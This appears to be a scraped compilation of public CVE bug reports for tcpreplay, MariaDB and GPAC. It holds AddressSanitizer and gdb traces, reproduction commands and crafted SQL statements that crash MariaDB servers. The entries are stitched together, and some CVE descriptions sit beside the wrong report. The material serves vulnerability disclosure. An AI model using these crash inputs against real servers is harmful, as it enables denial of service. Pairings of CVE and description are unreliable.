        #0 0x7ff303d557cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf)
        #1 0x56235e5df26c in _our_safe_free /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/common/utils.c:119
        #2 0x56235e5d5642 in dlt_jnpr_ether_cleanup plugins/dlt_jnpr_ether/jnpr_ether.c:171
        #3 0x56235e5c43f3 in tcpedit_dlt_cleanup plugins/dlt_plugins.c:463
        #4 0x56235e5b4968 in tcpedit_close /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpedit/tcpedit.c:575
        #5 0x56235e5b08c1 in main /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcprewrite.c:147
        #6 0x7ff303a0e0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #7 0x56235e5add2d in _start (/home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcprewrite+0x17d2d)
    
    0x60c0000001c0 is located 0 bytes inside of 120-byte region [0x60c0000001c0,0x60c000000238)
    freed by thread T0 here:
        #0 0x7ff303d557cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf)
        #1 0x56235e5df26c in _our_safe_free /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/common/utils.c:119
        #2 0x56235e5c4597 in tcpedit_dlt_cleanup plugins/dlt_plugins.c:480
        #3 0x56235e5d55ff in dlt_jnpr_ether_cleanup plugins/dlt_jnpr_ether/jnpr_ether.c:170
        #4 0x56235e5c43f3 in tcpedit_dlt_cleanup plugins/dlt_plugins.c:463
        #5 0x56235e5b4968 in tcpedit_close /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpedit/tcpedit.c:575
        #6 0x56235e5b08c1 in main /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcprewrite.c:147
        #7 0x7ff303a0e0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    previously allocated by thread T0 here:
        #0 0x7ff303d55bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
        #1 0x56235e5defba in _our_safe_malloc /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/common/utils.c:50
        #2 0x56235e5c2f16 in tcpedit_dlt_init plugins/dlt_plugins.c:130
        #3 0x56235e5d53d4 in dlt_jnpr_ether_post_init plugins/dlt_jnpr_ether/jnpr_ether.c:141
        #4 0x56235e5c3902 in tcpedit_dlt_post_init plugins/dlt_plugins.c:268
        #5 0x56235e5c3571 in tcpedit_dlt_post_args plugins/dlt_plugins.c:213
        #6 0x56235e5b7586 in tcpedit_post_args /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpedit/parse_args.c:252
        #7 0x56235e5b042e in main /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcprewrite.c:87
        #8 0x7ff303a0e0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    SUMMARY: AddressSanitizer: double-free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf) in __interceptor_free
    ==1805053==ABORTING
    

**System (please complete the following information):**

*   Ubuntu 20.04.1 LTS, gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
*   ./tcprewrite -V

    tcprewrite version: 4.4.0 (build git:v4.3.4-4-g0ca82e31)
    Copyright 2013-2022 by Fred Klassen <tcpreplay at appneta dot com> - AppNeta
    Copyright 2000-2012 by Aaron Turner <aturner at synfin dot net>
    The entire Tcpreplay Suite is licensed under the GPLv3
    Cache file supported: 04
    Not compiled with libdnet.
    Compiled against libpcap: 1.9.1
    64 bit packet counters: enabled
    Verbose printing via tcpdump: enabled
    Fragroute engine: disabled
    

**Additional context**  
Add any other context about the problem here.

CVE-2022-27416: [Bug] Double-free · Issue #702 · appneta/tcpreplay

Tcpreplay v4.4.1 has a heap-based buffer overflow in do_checksum_math at /tcpedit/checksum.c.

You are opening a _bug report_ against the Tcpreplay project: we use  
GitHub Issues for tracking bug reports and feature requests.

If you have a question about how to use Tcpreplay, you are at the wrong  
site. You can ask a question on the tcpreplay-users mailing list  
or on Stack Overflow with \[tcpreplay\] tag.  
General help is available here.

If you have a build issue, consider downloading the latest release

Otherwise, to report a bug, please fill out the reproduction steps  
(below) and delete these introductory paragraphs. Thanks!

**Describe the bug**  
heap-buffer-overflow in tcpreplay

**To Reproduce**  
Steps to reproduce the behavior:

1.  export CFLAGS="-g -fsanitize=address" export CXXFLAGS="-g -fsanitize=address"
2.  ./configure --disable-local-libopts
3.  make
4.  ./tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i lo POC2
5.  POC2.zip

**ASAN**

    =================================================================
    ==2505330==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000002a0 at pc 0x555db3af22a5 bp 0x7ffe70553580 sp 0x7ffe70553570
    READ of size 2 at 0x6060000002a0 thread T0
        #0 0x555db3af22a4 in do_checksum_math /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpedit/checksum.c:193
        #1 0x555db3af1be8 in do_checksum /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpedit/checksum.c:103
        #2 0x555db3ae925c in fix_ipv4_checksums /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpedit/edit_packet.c:81
        #3 0x555db3ae49b4 in tcpedit_packet /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpedit/tcpedit.c:351
        #4 0x555db3acf3b9 in send_packets /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/send_packets.c:397
        #5 0x555db3ae0997 in replay_file /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/replay.c:182
        #6 0x555db3adf92b in tcpr_replay_index /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/replay.c:59
        #7 0x555db3ade6b8 in tcpreplay_replay /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpreplay_api.c:1139
        #8 0x555db3ad6f2a in main /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpreplay.c:178
        #9 0x7f5ea6e440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #10 0x555db3ac916d in _start (/home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpreplay-edit+0x2016d)
    
    0x6060000002a0 is located 0 bytes to the right of 64-byte region [0x606000000260,0x6060000002a0)
    allocated by thread T0 here:
        #0 0x7f5ea718bbc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
        #1 0x7f5ea705720e  (/lib/x86_64-linux-gnu/libpcap.so.0.8+0x2420e)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /home/zxq/CVE_testing/ASAN-install/tcpreplay/src/tcpedit/checksum.c:193 in do_checksum_math
    Shadow bytes around the buggy address:
      0x0c0c7fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
      0x0c0c7fff8010: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
      0x0c0c7fff8020: fd fd fd fa fa fa fa fa 00 00 00 00 00 00 00 fa
      0x0c0c7fff8030: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
      0x0c0c7fff8040: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00
    =>0x0c0c7fff8050: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c0c7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==2505330==ABORTING
    
    
    

**System (please complete the following information):**

*   Ubuntu 20.04.1 LTS, gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
*   Tcpreplay Version \[e.g. 4.3.2\]

    tcpreplay version: 4.4.0 (build git:v4.3.4-4-g0ca82e31)
    Copyright 2013-2022 by Fred Klassen <tcpreplay at appneta dot com> - AppNeta
    Copyright 2000-2012 by Aaron Turner <aturner at synfin dot net>
    The entire Tcpreplay Suite is licensed under the GPLv3
    Cache file supported: 04
    Not compiled with libdnet.
    Compiled against libpcap: 1.9.1
    64 bit packet counters: enabled
    Verbose printing via tcpdump: enabled
    Packet editing: enabled
    Fragroute engine: disabled
    Injection method: PF_PACKET send()
    Not compiled with netmap

CVE-2022-27418: Heap-buffer-overflow in  tcpreplay · Issue #703 · appneta/tcpreplay

MariaDB Server v10.7 and below was discovered to contain a global buffer overflow in the component decimal_bin_size, which is exploited via specially crafted SQL statements.

PoC:

CREATE TABLE v0 AS SELECT NULL AS v1 FROM DUAL ;

 SELECT 'x' FROM v0 GROUP BY v1 , v1 ORDER BY AVG ( from\_unixtime ( '' ) ) ;

ASAN report:

ersion: '10.7.0-MariaDB'  socket: '/tmp/0.socket'  port: 10000  Source distribution

\=================================================================

\==2869677==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55fa8a50bf90 at pc 0x55fa89dcf30d bp 0x7fb3016d0290 sp 0x7fb3016d0280

READ of size 4 at 0x55fa8a50bf90 thread T13

    #0 0x55fa89dcf30c in decimal\_bin\_size /experiment/mariadb-server/strings/decimal.c:1551

    #1 0x55fa88cd14d2 in my\_decimal\_get\_binary\_size(unsigned short, unsigned short) /experiment/mariadb-server/sql/my\_decimal.h:346

    #2 0x55fa88cd14d2 in Type\_handler\_decimal\_result::sort\_length(THD\*, Type\_std\_attributes const\*, SORT\_FIELD\_ATTR\*) const /experiment/mariadb-server/sql/filesort.cc:2182

    #3 0x55fa88cd9bbd in sortlength /experiment/mariadb-server/sql/filesort.cc:2258

    #4 0x55fa88cd9bbd in filesort(THD\*, TABLE\*, Filesort\*, Filesort\_tracker\*, JOIN\*, unsigned long long) /experiment/mariadb-server/sql/filesort.cc:251

    #5 0x55fa886c0698 in create\_sort\_index(THD\*, JOIN\*, st\_join\_table\*, Filesort\*) /experiment/mariadb-server/sql/sql\_select.cc:24386

    #6 0x55fa886c10fe in st\_join\_table::sort\_table() /experiment/mariadb-server/sql/sql\_select.cc:22060

    #7 0x55fa886c1373 in join\_init\_read\_record(st\_join\_table\*) /experiment/mariadb-server/sql/sql\_select.cc:21999

    #8 0x55fa886f3cce in AGGR\_OP::end\_send() /experiment/mariadb-server/sql/sql\_select.cc:29470

    #9 0x55fa886f45cf in sub\_select\_postjoin\_aggr(JOIN\*, st\_join\_table\*, bool) /experiment/mariadb-server/sql/sql\_select.cc:20765

    #10 0x55fa8871882b in do\_select /experiment/mariadb-server/sql/sql\_select.cc:20604

    #11 0x55fa8871882b in JOIN::exec\_inner() /experiment/mariadb-server/sql/sql\_select.cc:4735

    #12 0x55fa8871a592 in JOIN::exec() /experiment/mariadb-server/sql/sql\_select.cc:4513

    #13 0x55fa88712b5a in mysql\_select(THD\*, TABLE\_LIST\*, List<Item>&, Item\*, unsigned int, st\_order\*, st\_order\*, Item\*, st\_order\*, unsigned long long, select\_result\*, st\_select\_lex\_unit\*, st\_select\_lex\*) /experiment/mariadb-server/sql/sql\_select.cc:4991

    #14 0x55fa88714654 in handle\_select(THD\*, LEX\*, select\_result\*, unsigned long) /experiment/mariadb-server/sql/sql\_select.cc:545

    #15 0x55fa88557d7c in execute\_sqlcom\_select /experiment/mariadb-server/sql/sql\_parse.cc:6256

    #16 0x55fa88581420 in mysql\_execute\_command(THD\*, bool) /experiment/mariadb-server/sql/sql\_parse.cc:3946

    #17 0x55fa885865a0 in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /experiment/mariadb-server/sql/sql\_parse.cc:8030

    #18 0x55fa8858c60b in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /experiment/mariadb-server/sql/sql\_parse.cc:1896

    #19 0x55fa8859173c in do\_command(THD\*, bool) /experiment/mariadb-server/sql/sql\_parse.cc:1404

    #20 0x55fa8894ce56 in do\_handle\_one\_connection(CONNECT\*, bool) /experiment/mariadb-server/sql/sql\_connect.cc:1418

    #21 0x55fa8894d33c in handle\_one\_connection /experiment/mariadb-server/sql/sql\_connect.cc:1312

    #22 0x55fa893ddc2b in pfs\_spawn\_thread /experiment/mariadb-server/storage/perfschema/pfs.cc:2201

    #23 0x7fb32095f258 in start\_thread (/usr/lib/libpthread.so.0+0x9258)

    #24 0x7fb32050a5e2 in \_\_GI\_\_\_clone (/usr/lib/libc.so.6+0xfe5e2)

0x55fa8a50bf90 is located 16 bytes to the left of global variable 'dig2bytes' defined in '/experiment/mariadb-server/strings/decimal.c:132:18' (0x55fa8a50bfa0) of size 40

0x55fa8a50bf90 is located 16 bytes to the right of global variable 'frac\_max' defined in '/experiment/mariadb-server/strings/decimal.c:133:19' (0x55fa8a50bf60) of size 32

SUMMARY: AddressSanitizer: global-buffer-overflow /experiment/mariadb-server/strings/decimal.c:1551 in decimal\_bin\_size

Shadow bytes around the buggy address:

  0x0abfd14997a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0abfd14997b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0abfd14997c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0abfd14997d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0abfd14997e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

\=>0x0abfd14997f0: f9 f9\[f9\]f9 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9

  0x0abfd1499800: 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00

  0x0abfd1499810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0abfd1499820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0abfd1499830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x0abfd1499840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00

  Partially addressable: 01 02 03 04 05 06 07 

  Heap left redzone:       fa

  Freed heap region:       fd

  Stack left redzone:      f1

  Stack mid redzone:       f2

  Stack right redzone:     f3

  Stack after return:      f5

  Stack use after scope:   f8

  Global redzone:          f9

  Global init order:       f6

  Poisoned by user:        f7

  Container overflow:      fc

  Array cookie:            ac

  Intra object redzone:    bb

  ASan internal:           fe

  Left alloca redzone:     ca

  Right alloca redzone:    cb

  Shadow gap:              cc

Thread T13 created by T0 here:

    #0 0x7fb320f92fa7 in \_\_interceptor\_pthread\_create /build/gcc/src/gcc/libsanitizer/asan/asan\_interceptors.cpp:216

    #1 0x55fa893ddea9 in my\_thread\_create /experiment/mariadb-server/storage/perfschema/my\_thread.h:48

    #2 0x55fa893ddea9 in pfs\_spawn\_thread\_v1 /experiment/mariadb-server/storage/perfschema/pfs.cc:2252

    #3 0x55fa8824eb3c in inline\_mysql\_thread\_create /experiment/mariadb-server/include/mysql/psi/mysql\_thread.h:1139

    #4 0x55fa8824eb3c in create\_thread\_to\_handle\_connection(CONNECT\*) /experiment/mariadb-server/sql/mysqld.cc:5934

    #5 0x55fa8825a7b6 in handle\_accepted\_socket(st\_mysql\_socket, st\_mysql\_socket) /experiment/mariadb-server/sql/mysqld.cc:6055

    #6 0x55fa8825b36f in handle\_connections\_sockets() /experiment/mariadb-server/sql/mysqld.cc:6179

    #7 0x55fa8825ea52 in mysqld\_main(int, char\*\*) /experiment/mariadb-server/sql/mysqld.cc:5829

    #8 0x7fb320433b24 in \_\_libc\_start\_main (/usr/lib/libc.so.6+0x27b24)

\==2869677==ABORTING

CVE-2022-27387: [MDEV-26422] ASAN: global-buffer-overflow in decimal_bin_size on SELECT

An issue in the component Arg_comparator::compare_real_fixed of MariaDB Server v10.6.2 and below was discovered to allow attackers to cause a Denial of Service (DoS) via specially crafted SQL statements.

CREATE TEMPORARY TABLE v0 ( v4 SMALLINT , v3 TINYINT , v2 NCHAR BINARY GENERATED ALWAYS AS ( NULL NOT IN ( 'x' SOUNDS LIKE UTC\_TIME ( ) IS NULL IS NULL IS FALSE ) IS NOT FALSE ) , v1 INT ) ;

 SELECT CONVERT ( CHAR ( 'x' IS FALSE ) \* DEFAULT ( v2 ) \* 'x' \* 62721821.000000 , DATETIME ) REGEXP v1 'x' FROM v0 ;

 INSERT IGNORE INTO v0 VALUES ( 78470821.000000 , 'x' , -32768 , v1 IN ( 'x' , FALSE NOT REGEXP v3 IS FALSE ) ) ;

Core was generated by \`/home/supersix/fuzz/security/MariaDB/install\_debug/bin/mysqld --defaults-file=/'.

Program terminated with signal SIGABRT, Aborted.

#0  \_\_pthread\_kill (threadid=<optimized out>, signo=signo@entry=0x6)

    at ../sysdeps/unix/sysv/linux/pthread\_kill.c:56

56	../sysdeps/unix/sysv/linux/pthread\_kill.c: No such file or directory.

\[Current thread is 1 (Thread 0x7f8010296700 (LWP 1431325))\]

gdb-peda$ bt

#0  \_\_pthread\_kill (threadid=<optimized out>, signo=signo@entry=0x6)

    at ../sysdeps/unix/sysv/linux/pthread\_kill.c:56

#1  0x000055ceeec1e94f in my\_write\_core (sig=sig@entry=0x6)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/mysys/stacktrace.c:424

#2  0x000055ceee729d60 in handle\_fatal\_signal (sig=0x6)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/signal\_handler.cc:344

#3  <signal handler called>

#4  \_\_GI\_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:50

#5  0x00007f8010d68859 in \_\_GI\_abort () at abort.c:79

#6  0x00007f801113f951 in ?? () from /lib/x86\_64-linux-gnu/libstdc++.so.6

#7  0x00007f801114b47c in ?? () from /lib/x86\_64-linux-gnu/libstdc++.so.6

#8  0x00007f801114b4e7 in std::terminate() () from /lib/x86\_64-linux-gnu/libstdc++.so.6

#9  0x00007f801114c245 in \_\_cxa\_pure\_virtual () from /lib/x86\_64-linux-gnu/libstdc++.so.6

#10 0x000055ceee75d6ef in Arg\_comparator::compare\_real\_fixed (this=0x7f7f88115bf0)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:897

#11 0x000055ceee76b464 in Arg\_comparator::compare (this=0x7f7f88115bf0)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.h:103

#12 Item\_func\_ne::val\_int (this=0x7f7f88115b40)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:1788

#13 0x000055ceee67b604 in Type\_handler\_int\_result::Item\_val\_bool (this=<optimized out>,

    item=<optimized out>) at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_type.cc:5085

#14 0x000055ceee75de10 in Item\_func\_truth::val\_bool (this=0x7f7f88115dc0)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:1165

#15 0x000055ceee75de81 in Item\_func\_truth::val\_int (this=<optimized out>)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item\_cmpfunc.cc:1188

#16 0x000055ceee74f443 in Item::save\_int\_in\_field (this=0x7f7f88115dc0, field=0x7f7f8801ac90,

    no\_conversions=<optimized out>)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item.cc:6700

#17 0x000055ceee7412a7 in Item::save\_in\_field (this=0x7f7f88115dc0, field=0x7f7f8801ac90,

    no\_conversions=<optimized out>)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/item.cc:6710

#18 0x000055ceee5f87a0 in TABLE::update\_virtual\_fields (this=this@entry=0x7f7f8801a698,

    h=<optimized out>, update\_mode=update\_mode@entry=VCOL\_UPDATE\_FOR\_WRITE)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/table.cc:8718

#19 0x000055ceee4ba3a5 in fill\_record (thd=thd@entry=0x7f7f88000c58,

    table=table@entry=0x7f7f8801a698, ptr=0x7f7f8801aaf0, ptr@entry=0x7f7f8801aac8, values=...,

    ignore\_errors=ignore\_errors@entry=0x0, use\_value=use\_value@entry=0x0)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_base.cc:8845

#20 0x000055ceee4ba444 in fill\_record\_n\_invoke\_before\_triggers (thd=thd@entry=0x7f7f88000c58,

    table=table@entry=0x7f7f8801a698, ptr=0x7f7f8801aac8, values=...,

    ignore\_errors=ignore\_errors@entry=0x0, event=event@entry=TRG\_EVENT\_INSERT)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_base.cc:8888

#21 0x000055ceee4e6af6 in mysql\_insert (thd=thd@entry=0x7f7f88000c58, table\_list=<optimized out>,

    fields=..., values\_list=..., update\_fields=..., update\_values=..., duplic=<optimized out>,

    ignore=<optimized out>, result=<optimized out>)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_insert.cc:1047

#22 0x000055ceee5204e7 in mysql\_execute\_command (thd=0x7f7f88000c58,

    is\_called\_from\_prepared\_stmt=<optimized out>)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:4568

#23 0x000055ceee510287 in mysql\_parse (thd=0x7f7f88000c58, rawbuf=<optimized out>,

    length=<optimized out>, parser\_state=<optimized out>)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:8028

#24 0x000055ceee51c285 in dispatch\_command (command=COM\_QUERY, thd=0x7f7f88000c58,

    packet=<optimized out>, packet\_length=<optimized out>, blocking=<optimized out>)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_class.h:1340

#25 0x000055ceee51e1a8 in do\_command (thd=0x7f7f88000c58, blocking=blocking@entry=0x1)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_parse.cc:1406

#26 0x000055ceee624317 in do\_handle\_one\_connection (connect=<optimized out>, put\_in\_cache=0x1)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1410

#27 0x000055ceee62467d in handle\_one\_connection (arg=arg@entry=0x55cef0328838)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/sql/sql\_connect.cc:1312

#28 0x000055ceee96097d in pfs\_spawn\_thread (arg=0x55cef06008d8)

    at /home/supersix/fuzz/security/MariaDB/mariadb-10.6.2/storage/perfschema/pfs.cc:2201

#29 0x00007f8011291609 in start\_thread (arg=<optimized out>) at pthread\_create.c:477

#30 0x00007f8010e65293 in clone () at ../sysdeps/unix/sysv/linux/x86\_64/clone.S:95

CVE-2022-27379: [MDEV-26353] MariaDB server crash in Arg_comparator::compare_real_fixed

GPAC mp4box 1.1.0-DEV-rev1727-g8be34973d-master has a stack-overflow vulnerability in function gf_isom_get_sample_for_movie_time of mp4box.

Tag

#c++